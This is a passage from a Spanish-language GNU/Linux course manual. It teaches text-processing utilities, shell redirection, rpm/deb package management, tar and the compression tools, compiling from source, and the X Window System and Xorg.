[francisco@server ~]$paste -d ":" Codigo.txt Fundacion.txt > Cod-Fundacion

nota: debe estar creado el archivo Codigo.txt y Fundacion.txt con varias columnas

Fusione todas las líneas del archivo notas en una sola línea usando como separador “:”
[francisco@server ~]$ paste -d ":" -s Fundacion.txt

3.9 pr
el utilitario pr se usa para separar archivo en paginas, además es frecuentemente
utilizado para enviar archivos a la impresora

Cree el archivo diplomado con varias lineas y luego modifica para impresión el archivo
diplomado.txt poniendo espacio doble entre las líneas y poniéndole como cabezal "GNU"
[francisco@server ~]$ pr -d -h "GNU" diplomado.txt | less

Diplomado de GNU/Linux
44
Fundación Código Libre Dominicano
http://www.codigolibre.org

3.10 split
El utilitario split se utiliza para dividir archivos en piezas de igual tamaño como
puede ser en megabytes, kilobytes o en lineas

Divide el archivo /etc/passwd en archivo de 5 líneas cada uno y que sus nombres
comiencen con Fcld.txt
[francisco@server ~]$ split -l 5 /etc/passwd

Copie passwd de /etc/passwd a su directorio actual y luego córtelo en pedazos de 2


megabytes
[francisco@server ~]$ split -b 2 m passwd nucleo.txt

Divida el archivo /etc/passwd en archivo que contenga lineas que tengan un volumen de 2
kilobytes.
[francisco@server ~]$ split -C 2k passwd

3.11 tac
El comando tac muestra lineas por linea en pantalla un archivo, empezando por la
ultima linea y terminando por la primera se pudiera decir que es el inverso de cat.

Visualice el archivo Fundacion.txt que usted creo en reverso


[francisco@server ~]$ tac Fundacion.txt

Visualice el log del sistema con los mensajes mas viejos que fueron generados
[francisco@server ~]$ tac /var/log/messages

3.12 tr
tr es un filtro que nos permite cambiar una determinada información de un archivo por
otra. En otras palabras TRADUCE.

Cambia cada uno de los caracteres especificados en el conjunto inicial por los
caracteres especificados en el conjunto final.

El archivo de origen o archivo destino lo especificamos con los caracteres de


redirección: < ó >.

Veamos un par de ejemplos:


zxguitar@zxlaptop:~$ tr A-Z a-z
HOLA MUNDO (presione la tecla enter)
hola mundo

zxguitar@zxlaptop:~$ tr -d [=A=]
HOLA MUNDO (presione la tecla enter)
HOL MUNDO

zxguitar@zxlaptop:~$ tr ':' ' ' < /etc/passwd > archivopasswd


zxguitar@zxlaptop:~$ tr '[a-z]' '[A-Z]' <> listaalumnosmayusculas
zxguitar@zxlaptop:~$ tr ' ' '\n' <> lineasusuarios
zxguitar@zxlaptop:~$ tr -s " " <> prueba2

Diplomado de GNU/Linux
45
Fundación Código Libre Dominicano
http://www.codigolibre.org

Parámetros útiles:
•-s : Sustituye un conjunto de caracteres repetidos por uno sólo. Es muy útil cuando
hay secuencias de caracteres que queremos borrar:
tr -s " " <> archivo-destino
•-c : Hace que se traduzcan todos los caracteres que no se encuentren especificados en
el primer parámetro. En el siguiente ejemplo se traduce por una ? todo lo que no sean
letras o números.
tr -c '[a-z][A-Z][0-9]' ? <> archivo-destino
•-d : Borra los caracteres que especifiquemos.
tr -d '[a-z][0-9]' ? <> archivo-destino
Otro ejemplo práctico que uso en ocasiones cuando quiero conseguir una lista,
convirtiendo los caracteres de nueva línea en espacios:
1.tr '\n' ' ' < /etc/pkgsync/musthave > listaenunasolalinea

3.13 tee
El utilitario tee envía salida simultáneamente a un archivo y a la salida estándar, la
cual puede ser la pantalla o una tubería a otro comando

Hagamos que la salida de “ls -l” salga tanto a pantalla como un archivo y luego veamos
que el archivo tenga el contenido
[root@server ~]# ls -l | tee codigos.txt

Visualicemos el log de inicio del sistema y vamos a guardarlo en un archivo llamado


logsys.txt
[root@server ~]# dmesg | tee logsys.txt

Guardar en un archivo llamado modulos.txt todos los módulos de tu pc y visualizarlo en


pantalla.
[root@server ~]# lsmod | tee modulos.txt

3.14 xargs
El comando xargs pasa argumentos de un comando a otro comando además el permite que
se puedan procesar mas comando.

Usando split divida el archivo /etc/passwd en archivo de 2 kilobyte y luego comprobemos


que cada uno tiene 2 kilobyte.

[root@server ~]# split -b 2k /etc/passwd


[root@server ~]# ls archivo_dividido | xargs du -sch

3.15 Redireccionamiento

Entrada y salida
Cada proceso en Linux (incluidos los comandos Bash) abre tres archivos estándar:
entrada estándar (stdin), salida estándar (stdout) y error estándar (stderr). Los
programas utilizan estos archivos del modo siguiente:
0. La entrada estándar es el lugar desde el cual el programa lee su entrada. Por
defecto, stdin es el teclado.
1. La salida estándar es el lugar donde el programa graba su salida. Por defecto,

Diplomado de GNU/Linux
46
Fundación Código Libre Dominicano
http://www.codigolibre.org

stdout en la pantalla del terminal.


2. El error estándar es el lugar donde el programa escribe sus mensajes de error. Por
defecto, stderr es la pantalla del terminal.
stdin, stdout y stderr se corresponden con los archivos /dev/stdin, /dev/stdout,
/dev/stderr.
Además, también tienen una correspondencia con los números 0, 1 y 2 respectivamente.

Redireccionando stdout
El shell permite redireccionar la salida estándar de un proceso desde la pantalla (el
valor por defecto) a un archivo. Desviar la salida permite almacenar el texto generado
por un comando en un archivo.
En su forma más sencilla, la sintaxis de comando es la siguiente:
zxguitar@zxlaptop:~$ comando > archivo-salida

donde comando es el comando cuya salida se desvía y archivo-salida es el nombre del


archivo en el que el proceso graba su salida estándar. Si el archivo de salida existe,
se pierde el contenido que tuviera anteriormente. Si el archivo no existe, se crea.
Para que la salida se adjunte al final de un archivo existente, se utilizan dos signos
“mayor que” (>>) que señalen el archivo al que haya de adjuntarse.

Redireccionando stdin
El shell permite desviar la entrada estándar de un proceso para que la entrada se lea
desde un archivo en lugar de desde el teclado. Para desviar la entrada de un proceso,
se separa el comando y el nombre del archivo de entrada con un signo menor que (<)
apuntando al nombre del comando. Se puede utilizar el desvío de la entrada con
cualquier comando que acepte la entrada desde el archivo stdin (el teclado).
En su forma más sencilla, la sintaxis de comando es la siguiente:
comando < archivo-entrada
donde comando es el comando cuya entrada se desvía y archivo-entrada es el nombre del
archivo a partir del cual el proceso lee la entrada estándar. El archivo debe existir
para que el desvío se lleve a cabo con éxito.
Se puede desviar tanto la entrada estándar como la salida estándar de un comando. No
obstante, no se debe utilizar el mismo nombre de archivo para la entrada estándar y la
salida estándar, puesto que el contenido original del archivo de entrada se perdería.

Tuberías
El shell permite conectar dos o más procesos para que la salida estándar de un proceso
se utilice como la entrada estándar para otro proceso. La conexión que une los procesos
es una tubería. Para canalizar la salida de un proceso en otro, se separan los comandos
con una barra vertical (|). La sintaxis general es la siguiente:
zxguitar@zxlaptop:~$ comando1 | comando2

donde comando1 es el comando cuya salida estándar se desvía o canaliza a otro comando,
y comando2 es el comando cuya entrada estándar lee la salida del comando anterior. Se
puede combinar dos o más comandos en una sola tubería.
/dev/null
/dev/null es un archivo que sirve como basurero. Nos puede ser útil para cuando
queramos despreciar la salida de un comando, que ni salga por pantalla ni que se quede
escrito en un archivo, simplemente que se pierda:
zxguitar@zxlaptop:~$ cat mimayorarchivo > /dev/null

Diplomado de GNU/Linux
47
Fundación Código Libre Dominicano
http://www.codigolibre.org

Una ventaja de /dev/null con respecto a los basureros físicos es que nunca se llena por
lo que podemos "arrojarle" toda salida que queramos despreciar.

Redireccionando stderr
Para redireccionar la salida de errores basta con recordar que stderr está asociado al
número 2. Por ello, la sintaxis del redireccionamiento sería:
zxguitar@zxlaptop:~$ comando 2> archivo

Diplomado de GNU/Linux
48
Fundación Código Libre Dominicano
http://www.codigolibre.org

GNU/Fundamentos

0.0 Instalación de Paquetes rpm y deb


0.1 Instalación y Desinstalación con rpm
0.2 Instalación y Desinstalación con deb
0.3 Manejadores de paquetes gráficos y de consola
0.4 Administración de Paquetes
0.5 Tipos de paquetes (rpm,deb,targz)
0.6 Actualizar paquetes
0.7 Forzando paquetes
0.8 Dependencias
0.9 Cuestionar y Verificar paquetes
0.10 Comando tar
0.11 Paquetes tar.gz
0.12 gzip gunzip bzip2 bunzip2 zcat compress cpio afio
0.13 Compilando desde el fuente
0.14 Construyendo paquetes
0.15 Practica Fundamentos Capitulo 0

1.0 Sistema X Window


1.1 Servidor X
1.2 Xorg
1.3 Protocolo X
1.4 Administradores de Ventana
1.5 Entornos Gráficos
1.6 Display Manager
1.7 Escritorio Remoto
1.8 Manejo Desktop
1.9 Editores Vi y Emacs
1.10 Practica Fundamentos Capitulo 1

Diplomado de GNU/Linux
49
Fundación Código Libre Dominicano
http://www.codigolibre.org

Fundamentos

0.0 Instalación de Paquetes rpm y deb


Un paquete es una colección de archivos que conforman un software, dicho paquete
contiene información sobre si mismo, es decir su contenido, y que otros paquetes son
necesarios para su correcto funcionamiento.

RPM es una forma simple de instalar aplicaciones dinámica o estáticamente compiladas,


RPM o Redhat Package Manager, permite instalar, desinstalar, buscar, etc, aplicativos
con extensión y formato rpm. RPM es el estándar para distribuciones como Redhat,
Suse, Mandriva, entre otras.

La gestión de paquete para distribuciones Debian se realizan con los manejador dpkg
(Debian PacKaGe). En el nivel de línea de comandos dispone de dpkg, que es el comando
de más bajo nivel, para gestionar directamente los paquetes DEB de software Pueden
realizarse todo tipo de tareas, de información,instalación, borrado o cambios internos
a los paquetes de software.

0.1 Instalación y Desinstalación con rpm


Los paquetes .rpm son los más comúnmente utilizados en las distribuciones linux, es
manipulado por el comando rpm, al cual se le pasan opciones para su instalación o
desinstalación, los paquetes rpm contienen dependencias, las cuales pueden resolverse
utilizando el administrador de paquetes yum.
RedHat/Fedora
rpm -ivh mozilla-mail-1.7.5-17.i586.rpm Instala
rpm -Uvh mozilla-mail-1.7.6-12.i586.rpm Actualiza/Instala
rpm -ev mozilla-mail Desinstala

También podemos instalar un rpm que este en la web, de la siguiente manera.


rpm -ivh ftp://ftp.redhat.com/pub/redhat/rh-2.0-beta/RPMS/foobar-1.0-1.i386.rpm

Nota: La “i” significa INSTALAR, la “v” significa VERVOSE o Detalles y la “h” significa
hash(barra de progreso).
rpm -qa Te lista los paquetes instalados en el sistema.
rpm -qi mozilla-mail Informa sobre el paquete instalado
rpm -qf /bin/ls Te informa a que paquete pertenece “ls”.
rpm -qpi webmin-1.510-1.noarch.rpm Te da información sobre el paquete especifico
rpm -qpl webmin-1.510-1.noarch.rpm Te dice los archivos que instalara el paquete.
rpm -ql webmin-1.510-1 Te dice los archivos que INSTALÓ el paquete.

0.2 Instalación y Desinstalación con deb


Los paquetes .deb son hechos para las distribuciones Basadas en Debian, para
instalarlos o desinstalarlos se utiliza la instrucción dpkg, si requiere de ciertas
dependencias, se utiliza la herramienta apt.
Debian/Ubuntu
dpkg -i zip_2.31-3_i386.deb Instala/Actualiza
dpkg -r zip Desinstala
dpkg -R /tmp/downloads Instala recursivamente TODOS los paquetes en un dir.

Diplomado de GNU/Linux
50
Fundación Código Libre Dominicano
http://www.codigolibre.org

dpkg -l Lista los paquetes instalados


dpkg -l apache-perl Lista el paquete con una corta descripción
dpkg -L apache-perl Lista los archivos copiados por el paquete(instalado)
dpkg -c dc_1.06-19_i386.deb Lista los archivos dentro del paquete(no instalado)
dpkg -S /bin/ls Lista el paquete que instalo el comando “ls”
dpkg -p lsof Detalles sobre el paquete, versión, mantenedor, etc.

0.3 Manejadores de paquetes gráficos y de consola


Entre los manejadores de paquetes, existen los que hacen su función tanto a nivel
gráfico como a nivel de texto, como son:
aptitude (modo texto)
apt (modo texto)
Synaptic (Modo gráfico, usa apt debajo)
Yumex (Modo gráfico para rpms)

Alien: convierte paquetes de .deb a .rpm y viceversa, esto lo usamos cuando no tenemos
un paquete disponible para nuestra distro y esta disponible para otra.

0.4 Administración de Paquetes


Existe lo que se define mantener los paquetes de acuerdo a sus manejadores
correspondientes, ya sea instalación, consulta o desinstalación.

Esta tarea se realiza de distintas formas según la distribución y también desde la


perspectiva de la conexión, si es local o en red.

La parte local de la administración la vimos en el punto 0.1 y 0.2

La administración de paquetes en red, la veremos como anteriormente, Debian/Ubuntu y


Redhat/Fedora.
Debian/Ubuntu
apt-get install paquete
apt-get remove paquete
apt-get purge paquete
apt-cache search paquete
apt-cache show paquete
apt-get update
apt-get upgrade paquete

Es el siguiente archivo se encuentra la lista de los repositorios, es decir, un listado


de direcciones de donde se descargan los paquetes que se consulten.
/etc/apt/sources.list

RedHat/Fedora
yum install paquete
yum remove paquete
yum search paquete
yum update
yum update paquete

En este directorio se hallan los archivos de los repositorios, /etc/yum/repos.d/

Diplomado de GNU/Linux
51
Fundación Código Libre Dominicano
http://www.codigolibre.org

0.5 Tipos de paquetes (rpm, deb, targz)


Los Paquetes RPM son los que pertenecen a las distribuciones basadas en Red Hat, su
objetivo se concentraba en estandarizarlos para su uso en cualquier distribución
GNU/Linux.
Los paquetes DEB, son los que corresponden a los sistemas basados en Debian,
desarrollada por voluntarios en concentrarse en la filosofía Libre de GNU.
Los paquetes TAR.GZ o TGZ, son los que se distribuyen desde el código fuente, para
luego ser compilados, el formato TGZ es exclusivo de las distribuciones basadas en
Slackware, precompilados para ser usados por PKGTOOL

0.6 Actualizar paquetes


Los paquetes en las diferentes distribuciones de GNU/Linux, pueden ser actualizados por
dicho manejador, con la finalidad de ofrecer actualizaciones de seguridad o que haya
una nueva versión de los paquetes.
Debian/Ubuntu
apt-get update
apt-get upgrade paquete

RedHat/Fedora
yum update
yum update paquete

0.7 Forzando paquetes


Es posible forzar la instalación de un paquete cuando este requiere de dependencias con
la opción --nodeps para dpkg y --force para rpm, pero hay que tomar en cuenta que con
esta acción no se garantiza el correcto funcionamiento del paquete

rpm -Uvh paquete.rpm --force


rpm -ivh paquete.rpm –ignore-deps
dpkg -i paquete.deb --nodeps

0.8 Dependencias
Las dependencias son requerimientos previos de otros paquetes para garantizar el
correcto funcionamiento del paquete final, su cantidad puede variar dependiendo del
programa a instalar.

0.9 Cuestionar y Verificar paquetes


Es posible verificar los paquetes instalados en el sistema, como también cuestionar su
contenido y las dependencias que dicho paquete requiere.
RedHat/Fedora
rpm -qa Consulta la DB de los paquetes instalados

Debian/Ubuntu
dpkg -l Consulta la DB de los paquetes instalados
dpkg -s paquete Te da información adicional del paquete

0.10 Paquetes tar.gz


Los paquetes tar.gz son creados en forma no binaria, para ser compilado de acuerdo a un

Diplomado de GNU/Linux
52
Fundación Código Libre Dominicano
http://www.codigolibre.org

parámetro de configuración, esto sucede cuando la aplicación no esta disponible en


alguna distribución ya porque sea recientemente creado por una comunidad emergente.

installpkg package.tgz
removepkg package.tgz
upgradepkg package.tgz

0.11 Comando tar


Este comando es importante para manejar los paquetes .tar, ya que con este se pueden
empaquetar folders para luego ser comprimidos, se le llaman “tarballs”, se usan para
ahorrar espacio o para hacer copias de seguridad (backups)

tar -cvf archivo.tar /ruta/ Empaqueta a “/ruta/” en “archivo.tar”


tar -xvf archivo.tar -C /ruta/ Desempaqueta a “archivo.tar” en la ruta “/ruta/”
tar -tvf archivo.tar Visualiza el contenido sin desempaquetar
tar -xvf archivo.tar /ruta/al/archivo Desempaqueta el archivo llamado “archivo”.
tar -xvf archivo.tar /ruta/al/dir/ Desempaqueta el directorio llamado “dir”.
tar -rvf archivo.tar archivo-nuevo incluye el archivo “archivo-nuevo” al “.tar”
tar -rvf archivo.tar Public/ incluye el directorio “Public/” al “.tar”
Nota: No se pueden agregar mas archivos o directorios a un archivo ya compreso.

Se puede además comprimir a vuelo mientras se empaqueta (son dos procesos distintos).
Lo hacemos de la manera siguiente.
tar -cvzf archivo.tar.gz /ruta/ Comprime a “/ruta/” en “archivo.tar.gz”
tar -cvjf archivo.tar.bz2 /ruta/ Comprime a “/ruta/” en “archivo.tar.bz2”
tar -tvzf archivo.tar.gz Visualiza el contenido sin descomprimir
tar -tvjf archivo.tar.bz2 Visualiza el contenido sin descomprimir
tar -xvzf archivo.tar.gz -C /ruta/ Descomprime a “archivo.tar.gz” en “/ruta/”
tar -xvjf archivo.tar.bz2 Descomprime a “archivo.tar.bz2” en donde esta.
tar -xvzf archivo.tar.gz /ruta/al/archivo Descomprime el archivo llamado “archivo”.
tar -xvjf archivo.tar.bz2 /ruta/al/archivo Descomprime el archivo llamado “archivo”.
tar -xvzf archivo.tar.gz /ruta/al/dir/ Descomprime el directorio llamado “dir”.
tar -xvjf archivo.tar.bz2 /ruta/al/dir/ Descomprime el directorio llamado “dir”.
tar -xvzf archivo.tar.gz /ruta/al/dir1/ /ruta/al/dir2/ Descomprime varios directorios.
tar -xvjf archivo.tar.bz2 /ruta/al/dir1/ /ruta/al/dir2/ Descomprime varios directorios.
tar -xvzf archivo.tar.gz --wildcards '*.conf' Descomprime solo los archivos “.conf”
tar -xvjf archivo.tar.bz2 --wildcards '*.conf' Descomprime solo los archivos “.conf”
tar -czf - /dir/to/archive/ | wc -c Estimar cuanto pesara una compresión “tar.gz”
tar -cjf - /dir/to/archive/ | wc -c Estimar cuanto pesara una compresión “tar.bz2”

0.12 gzip gunzip bzip2 bunzip2 zcat compress cpio afio


gzip
gzip es una abreviatura de GNU ZIP, un software libre GNU que reemplaza al programa
compress de UNIX. gzip fue creado por Jean-loup Gailly y Mark Adler. Apareció el 31 de
octubre de 1992 (versión 0.1). La versión 1.0 apareció en febrero de 1993.
gzip se basa en el algoritmo Deflate, que es una combinación del LZ77 y la codificación
Huffman. Deflate se desarrolló como respuesta a las patentes que cubrieron LZW y otros
algoritmos de compresión y limitaba el uso del compress. No se debe confundir gzip con
ZIP, el cual no es compatible.
gzip SÓLO COMPRIME ARCHIVOS, pero no los empaqueta. Debido a esto a menudo se usa junto

Diplomado de GNU/Linux
53
Fundación Código Libre Dominicano
http://www.codigolibre.org

con alguna herramienta para empaquetar (regularmente tar).

Para comprimir un archivo basta con ejecutar el siguiente comando.


zxguitar@zxlaptop:~$ gzip archivo.txt
zxguitar@zxlaptop:~$ ls
archivo.txt.gz

Observe que no hay que ponerle extensión como en el caso de “tar”, el la toma
automáticamente.
También podemos ver información sobre el nivel de compresión de un archivo ejecutando
el comando con la opción “-l”.
zxguitar@zxlaptop:~$ gzip -l gzip archivo.txt.gz
compressed uncompressed ratio uncompressed_name
91918 275744 66.7% archivo.txt

Podemos comprimir a niveles distintos, es decir, rápido(menos compresión) o lento(mas


compresion)... Ejemplo:
zxguitar@zxlaptop:~$ gzip -n1 archivo.txt #Mucha velocidad, poca compresión
zxguitar@zxlaptop:~$ gzip -n9 archivo.txt #Mucha compresión, poca velocidad

Para esta tarea es posible 9 niveles, del 1 al 9.

gunzip
Esta es la herramienta que permite descomprimir en GNU/Linux y UNIX, al igual que su
contrario, gzip, solo descomprime archivos, este concepto se puede aclarar mejor viendo
la sección del comando “tar” en el punto anterior.

zxguitar@zxlaptop:~$ gunzip archivo.txt.gz

Nota: Es bueno aclarar que cuando se comprime o descomprime con estas herramientas, no
se hace copia del archivo, es decir, literalmente el archivo se convierte de normal a
comprimido y viceversa.

zcat
Muestra el contenido de un archivo comprimido (.gz).
Es exactamente igual al cat, sólo que en su modo comprimido, es decir, si se desea
mantener el archivo en su formato de compresión pero quiere utilizar los datos del
archivo. Por ejemplo si se ha comprimido una lista de nombres y direcciones almacenadas
en un archivo llamado namelist, el archivo comprimido se llama namelist.gz.
zxguitar@zxlaptop:~$ zcat namelist.gz

bzip2
bzip2 es un programa libre desarrollado bajo licencia BSD que comprime y descomprime
archivos usando los algoritmos de compresión de Burrows-Wheeler y de codificación de
Huffman. El porcentaje de compresión alcanzado depende del contenido del archivo a
comprimir, pero por lo general es bastante mejor al de los compresores basados en el
algoritmo LZ77/LZ78 (gzip, compress, WinZip, pkzip,...). Como contrapartida, bzip2
emplea más memoria y más tiempo en su ejecución.
La sintaxis es parecida a la del programa gzip de GNU.

Ejemplos:

Diplomado de GNU/Linux
54
Fundación Código Libre Dominicano
http://www.codigolibre.org

Comprime archivo generando archivo.bz2 y borrando el original.


zxguitar@zxlaptop:~$ bzip2 archivo

Cualquiera de las dos instrucciones siguientes, descomprime el archivo.bz2, generando


archivo. El original se pierde.
zxguitar@zxlaptop:~$ bzip2 -d archivo.bz2
zxguitar@zxlaptop:~$ bunzip2 archivo.bz2

Mantiene el archivo original


zxguitar@zxlaptop:~$ bzip2 -k ...

Comprime el archivo a la salida estándar (stdout). Está pensado para usar en


redirecciones o en tuberías.
zxguitar@zxlaptop:~$ bzip2 -c archivo

Descomprime el archivo de nombre archivo.tar.bz2 y el resultado se le pasa a la entrada


estándar (stdin) de la instrucción tar, que muestra un listado del contenido.
zxguitar@zxlaptop:~$ bzip2 -dc archivo.tar.bz2 | tar tf -

bunzip2
Este comando es la contra-parte de bzip2, sirve para descomprimir archivos. Su sintaxis
es bien sencilla y al igual que bzip2, al descomprimir, el archivo original es
eliminado.
zxguitar@zxlaptop:~$ bunzip2 archivo.bz2

Note: Si navegando por ahí encuentras archivos con la extensión “.tbz” y “.tb2” es lo
mismo que “.tar.bz2”.

gzip vs bzip2 : bzip2 toma mas tiempo para comprimir y descomprimir que gzip. El
tamaño del archivo bzip2 es menor que gzip.

compress
Este paquete proporciona los programas originales que son el estándar de facto, en gran
parte de la comunidad UNIX, para comprimir y descomprimir archivos. Los programas
implementan un algoritmo de compresión LZW rápido de un solo archivo. El algoritmo LZW
no tiene una compresión tan alta como otros algoritmos, pero las implementaciones de
LZW como esta a veces comprimen los archivos más rápido que otros programas similares,
como gzip.
Cabe mencionar que la extensión de estos archivos es “.Z”

Para Debian, el programa de descompresión estándar está instalado como uncompress.real.


Para comprimir solo basta con ejecutar lo siguiente.
zxguitar@zxlaptop:~$ compress archivo

Para descomprimir lo hacemos de la siguiente manera.


zxguitar@zxlaptop:~$ uncompress archivo.Z

cpio
El comando cpio sirve para copiar o extraer archivos a un contenedor “.cpio” . Este es
un archivo que contiene archivos y permisos que fueron almacenados. El contenedor se
puede guardar en una unidad de cinta, en el disco o simplemente en un archivo de texto

Diplomado de GNU/Linux
55
Fundación Código Libre Dominicano
http://www.codigolibre.org

como ahora les voy a demostrar.

Con este comando lo que estamos haciendo es un backup del home del usuario, vamos parte
por parte así entendemos como funciona.

zxguitar@zxlaptop:~$ find /home/zxguitar |cpio -o > backup.cpio

find /home/zxguitar = lista todos los archivos y se los pasa por stdin a cpio
cpio -o > backup.cpio = almacena en un archivo backup.cpio todos los archivos listados

Para mas información “man cpio”

Ahora veamos algunas de las opciones:

-o = Copiar archivos a un contenedor


-t = Lista el contenido de un contenedor
-i = Extrae archivos del contenedor
-v = Modo verbose
-m = Conserva fecha y hora de los archivos
-A = Añade archivos a un contenedor existente

Algunos detalles a tener en cuenta es que use find y no ls, porque ls no muestra la
ruta completa, muestra solo el nombre del archivo.

Si queremos listar el contenido de un contenedor


zxguitar@zxlaptop:~$ cpio -t < backup.cpio

Si deseamos extraer todos los archivos de un contenedor


zxguitar@zxlaptop:~$ cpio -i < backup.cpio

Si queremos solo extraer por ejemplo un archivo


zxguitar@zxlaptop:~$ echo "/home/beagle/Documentos.txt" |cpio -i < backup.cpio

Con esto le pasamos que archivo es el que vamos a descomprimir, por ejemplo
Documentos.txt

afio
Variación de cpio, con varias mejoras:
• Permite hacer copias multivolumen
• Permite archivar los archivos comprimiéndolos de uno en uno
• No comprime los archivos que no interesa comprimir por que ya lo están
(reconoce por extensión)
• Permite verificar la copia con el original (opción -r)

Modos de funcionamiento similares a cpio


• -o guarda a archivo, -i extrae de un archivo y -p copia directorios
• otras opciones: -r verifica el archivo con el filesystem; -t muestra el contenido
del archivo
• Ejemplos:
• Salvar a disquete multivolumen comprimido
$ find . | afio -ov -s 1440k -F -Z /dev/fd0

Diplomado de GNU/Linux
56
Fundación Código Libre Dominicano
http://www.codigolibre.org

• Comprobar con el original una copia comprimida en varios disquetes


$ afio -rv -s 1440k -F -Z /dev/fd0
• Muestra el contenido del archivo:
$ afio -tv -s 1440k -F -Z /dev/fd0
• Extrae el contenido del archivo
$ afio -iv -s 1440k -F -Z /dev/fd0
• Copia los archivos del directorio actual y subdirectorios a un nuevo
directorio new-dir
$ find . -depth -print0 | afio -p0xa directorio_nuevo
• Para mas opciones ver la página de manual

0.13 Compilando desde el fuente


Como se explica en el punto 0.10, una vez extraído el contenido del paquete tar.gz, se
le pasan parámetros para configurar en entorno de acuerdo a un prefijo o variable
definida, luego se procede a compilar el paquete, nótese que existen diferentes
compiladores (gcc, g++,jre, entre otros), estos paquetes vienen con su guía documentada
de como instalar, una vez se haya terminado la compilación, se procede a su instalación
en el sistema

./configure
make all
make install
make clean

0.14 Construyendo paquetes


Es posible construir paquetes a partir de un archivo src-.rpm y un .spec (como es el
caso de redhat) para generar un paquete final de acuerdo a la arquitectura.
rpmbuild -bb archivo.spec paquete.rpm

rpmbuild -bt archivo.spec paquete.tar.gz

0.15 Practica Fundamentos Capitulo 0


Esta es una practica que abarca todo lo impartido en el capitulo 0 del nivel
fundamentos.

1.0 Sistema X Window


X Window System (en español sistema de ventanas X) es un software que fue desarrollado
a mediados de los años 1980 en el MIT para dotar de una interfaz gráfica a los sistemas
Unix. Este protocolo permite la interacción gráfica en red entre un usuario y una o más
computadoras haciendo transparente la red para éste. Generalmente se refiere a la
versión 11 de este protocolo, X11, el que está en uso actualmente. X es el encargado de
mostrar la información gráfica de forma totalmente independiente del sistema operativo.
X fue diseñado primariamente para implementar clientes ligeros, donde mucha gente usaba
simultáneamente la capacidad de procesamiento de un mismo computador trabajando en
tiempo compartido. Cada persona usaba un terminal en red que tenía capacidades
limitadas para dibujar la pantalla y aceptar la entrada del usuario. Debido a la
ubicuidad del soporte para el software X en Unix, es usado en los computadores
personales incluso cuando no hay necesidad del tiempo compartido.

Diplomado de GNU/Linux
57
Fundación Código Libre Dominicano
http://www.codigolibre.org

El sistema de ventanas X distribuye el procesamiento de aplicaciones especificando


enlaces cliente-servidor. El servidor provee servicios para acceder a la pantalla,
teclado y ratón, mientras que los clientes son las aplicaciones que utilizan estos
recursos para interacción con el usuario. De este modo mientras el servidor se ejecuta
de manera local, las aplicaciones pueden ejecutarse remotamente desde otras máquinas,
proporcionando así el concepto de transparencia de red.
Debido a este esquema cliente-servidor, se puede decir que X se comporta como un
terminal gráfico virtual.
El hecho que exista un estándar definido para X permite que se desarrollen servidores X
para distintos sistemas operativos y plataformas, lo que hace que el código sea muy
portable. Por ejemplo, permite tener clientes X ejecutándose en un potente servidor
UNIX y/o GNU/Linux mientras los resultados son visualizados en una PC de escritorio con
cualquier otro sistema operativo funcionando.

1.1 Servidor X
X usa el modelo cliente-servidor: un servidor X se comunica con varios programas
cliente. El servidor acepta los pedidos para la salida gráfica (ventanas) y devuelve la
entrada del usuario (desde el teclado, del ratón, o de la pantalla táctil). El servidor
puede funcionar así:
• una aplicación exhibiendo hacia una ventana de otro sistema de visualización
• un programa del sistema controlando la salida vídeo de una PC
• una pieza de hardware dedicada
Esta terminología de cliente servidor - el terminal de usuario siendo el servidor y las
aplicaciones siendo los clientes - a menudo confunde a nuevos usuarios de X, porque los
términos parecen invertidos. Pero X toma la perspectiva de la aplicación, en vez de la
del usuario final: X proporciona la exhibición por pantalla y los servicios de
entrada/salida a las aplicaciones, así que es un servidor; las aplicaciones usan estos
servicios, por lo tanto son los clientes.
El protocolo de comunicaciones entre el servidor y el cliente opera transparente a la
red: el cliente y el servidor pueden correr en la misma o en diferentes máquinas,
posiblemente con diferentes arquitecturas y sistemas operativos. Un cliente y un
servidor pueden incluso comunicarse con seguridad sobre Internet haciendo una conexión
de túnel sobre una sesión cifrada de la red.
Un cliente X puede emular un servidor X proporcionando servicios de exhibición a otros
clientes. Esto es conocido como "X nesting" (anidado X). Los clientes de código abierto
tales como Xnest y Xephyr soportan el X nesting.
Para utilizar un programa de cliente X sobre una máquina remota, el usuario hace lo
siguiente:
• En la máquina local, abrir una ventana de terminal
• usar telnet o ssh para conectarse con la máquina remota
• solicitar el servicio local de pantalla/entrada (ej., export DISPLAY=[user's
machine]:0 si no se está usando SSH con X tunneling activado)
El cliente X remoto entonces hará una conexión al servidor X local del usuario,
proporcionando la exhibición por pantalla y la entrada.
Alternativamente, la máquina local puede correr un pequeño programa que se conecte con
la máquina remota y comience la aplicación cliente.
Ejemplos prácticos de clientes remotos incluyen:
• administrando una máquina remota gráficamente
• corriendo una simulación de cómputo intensivo en una máquina Unix remota y
mostrando los resultados por pantalla en una de escritorio Windows
• correr software gráfico en varias máquinas al mismo tiempo, controlados por una

Diplomado de GNU/Linux
58
Fundación Código Libre Dominicano
http://www.codigolibre.org

sola pantalla, teclado y ratón.

1.2 Xorg
X.Org Server (comúnmente conocida como Xorg Server o simplemente como Xorg) es una
implementación de código abierto del sistema X Window System, que surge como
bifurcación de proyecto XFree86.
La primera versión del servidor X.Org (incluida en X11R6.7.0), partió del código de
XFree86 4.4 RC2, debido a un cambio de licencia producido en febrero del 2004
(anteriormente se distribuía bajo la licencia MIT, y la nueva licencia presenta
incompatibilidades con la GNU General Public License). Varios de los anteriores
desarrolladores de XFree86, como Keith Packard, se sumaron al proyecto, ya que se
gestiona de una forma más abierta que XFree86.
El proyecto corre bajo el auspicio de la X.Org Foundation y se encuentra alojado en
freedesktop.org. La ultima versión de X Window System es la X11R7.5

Xorg es una implementación libre del sistema gráfico de ventanas X, que surgió como una
bifurcación de XFree86 después de un cambio de licencia que muchos consideran
incompatible con la Licencia Pública General (GPL). XOrg ha sido adoptada por la
mayoría de las distribuciones GNU de Linux.
A partir de Lenny, XOrg hace una configuración automática de dispositivo, monitor y
periferias. En la mayoría de los casos no es necesario configurar nada; basta con
instalar un paquete Debian(La Mayoría de veces YA ESTA INSTALADO).

Instalación de Xorg
Ingresa a root.
Instala el paquete xorg con,
# apt-get install xorg
Este es un meta paquete que, usando el sistema de dependencias, instala un conjunto de
paquetes X11, como el servidor XOrg, dispositivos de vídeo y periferias, un conjunto de
tipos de letras y herramientas básicas.
Para usar el servidor es necesario instalar un entorno de escritorio. Existen varios,
los más usados siendo GNOME y KDE.

Configuración de X
Xorg no era capaz de detectar automáticamente el hardware. Para esos casos había que
poner a punto la configuración a mano.
El archivo,
/var/log/Xorg.0.log
contiene un registro y puede ayudar a determinar que es exactamente lo que falla. Busca
